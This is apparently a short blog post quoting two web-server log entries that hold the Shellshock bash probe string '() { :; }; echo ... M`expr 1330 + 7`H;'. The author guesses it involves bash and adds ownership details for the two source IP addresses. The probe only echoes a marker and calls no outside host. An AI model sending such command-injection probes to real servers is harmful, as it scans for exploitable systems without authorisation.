“() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;”

I wonder a little bit about these two hits in the log from a website:

Fri, 3 Oct 02:46    95.211.131.148    () { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;
Fri, 3 Oct 11:32    209.11.159.26    () { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;

Something about bash maybe?

209.11.159.26:

Quality Technology Services Santa Clara, LLC QTS-209-11-128-0-18 (NET-209-11-128-0-1) 209.11.128.0 - 209.11.191.255
IBIS Inc. QTS-209-11-159-0-24 (NET-209-11-159-0-1) 209.11.159.0 - 209.11.159.255

95.211.131.148 is LeaseWeb, which used to be a shitty place.
Still is, obviously.

Posted in 1. Comments Off on “() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;”